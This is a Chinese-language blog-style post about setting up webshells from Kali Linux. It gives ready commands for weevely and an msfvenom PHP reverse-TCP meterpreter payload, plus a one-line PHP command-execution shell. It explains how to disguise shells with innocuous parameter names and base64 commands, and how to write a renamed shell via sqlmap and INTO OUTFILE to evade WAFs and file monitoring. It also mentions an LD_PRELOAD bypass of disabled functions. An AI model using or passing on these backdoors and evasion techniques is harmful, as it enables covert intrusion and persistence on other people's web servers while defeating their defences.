kali webshell
作者:百科 来源:热点 浏览: 【大 中 小】 发布时间:2026-10-17 06:09:51 评论数:
拿到一台 Kali 之后,很多人第一反应是去翻 Metasploit 的 exploit 列表。但真正在实战里折腾过的人都知道,一个能稳定回连的 webshell 比十个花哨的 RCE 都管用。Kali 上折腾 webshell 的工具链其实很零散,没人给你整理成一套标准流程,得自己拼。
我习惯从 weevely 开始。这东西预装在 Kali 里,生成一个 PHP 后门就一行命令:weevely generate mypassword /root/shell.php。生成的 shell.php 内容是被混淆过的,丢到目标站上,本地用 weevely http://target.com/uploads/shell.php mypassword 连上去,直接就给你一个类终端的交互界面。能传文件、能执行系统命令、能开代理。缺点是流量特征明显,稍微像样点的 WAF 都能拦。所以实际用的时候,我一般会先手动改一下生成的代码,把那些明显的变量名和函数调用拆散。
另一个路子是 msfvenom 直接生成 webshell 载荷。比如 msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw -o shell.php。这个比 weevely 重,但好处是直接进 Meterpreter,后渗透阶段省事。不过 PHP 的 meterpreter 载荷体积不小,有些上传点限制文件大小就废了。而且杀软对 msf 的 PHP 载荷查杀率极高,基本属于“知道就行,别真用”的级别。
真正有意思的是自己手搓 webshell。Kali 上写 PHP 不用什么 IDE,vim 就够了。一个最简的回连 shell 可以短到一行:<?php system($_GET['c']); ?>。但这么写等于裸奔。稍微加点变形——用 $_REQUEST 替代 $_GET,用 assert 替代 system,再把参数名改成看起来像正常业务的东西。我见过一个案例,攻击者把 webshell 伪装成一个“图片处理参数”,参数名叫 img_resize,实际传进去的是 base64 编码的命令。这种在日志里扫一眼根本看不出来。
Kali 里还有个工具叫 webshells,藏在 /usr/share/webshells/ 下面。php、asp、jsp、aspx 的都有,分门别类放好了。但说实话,这些文件太老了,很多语法在新版本语言里直接报错。我一般只拿它们当模板参考,不会直接上传。比如那个经典的 c99 PHP shell,功能确实全,文件管理、命令执行、数据库连接一应俱全,但代码里一堆 ereg 函数,PHP 7 以后直接移除,传上去就是一片报错。
实际渗透里,webshell 能不能用,一半看目标环境。PHP 版本、禁用函数列表、open_basedir 限制、WAF 规则,每一项都可能让你精心构造的 shell 变成死马。我遇到过 disable_functions 里禁了 system、exec、shell_exec、passthru 的情况,最后是靠 LD_PRELOAD 劫持绕过去的。Kali 上有现成的 bypass_disable_functions 脚本,但那个脚本依赖目标机器有 gcc,实战里十次有八次编译不了。
所以我的习惯是:拿到 webshell 之后第一件事不是急着提权,而是先 phpinfo() 看一眼环境。禁用函数、open_basedir、上传临时目录、能不能写 .htaccess,这些信息比什么都重要。Kali 里没有一键干这个的工具,得自己写个 info.php 传上去。听起来很土,但比盲目上传一堆 shell 然后一个个试要快得多。
最后说个坑。很多人喜欢用 Kali 自带的 sqlmap --os-shell 直接拿 webshell。这方法确实快,但 sqlmap 写进去的 shell 文件内容非常固定,文件名也经常是 tmpXXXX.php 这种。稍微有点安全监控的站,文件一落地就告警了。我现在的做法是:用 sqlmap 拿到注入点之后,手动构造 INTO OUTFILE 写一个自己改过的 shell,文件名伪装成正常的缓存文件,比如 cache_7f3a.php。慢是慢了点,但活下来的概率高很多。
Kali 上的 webshell 工具够用,但别指望哪个工具能一键搞定所有事。环境千差万别,最后拼的还是对目标语言和运行时的理解。工具只是帮你省掉敲键盘的时间,脑子里的东西省不掉。
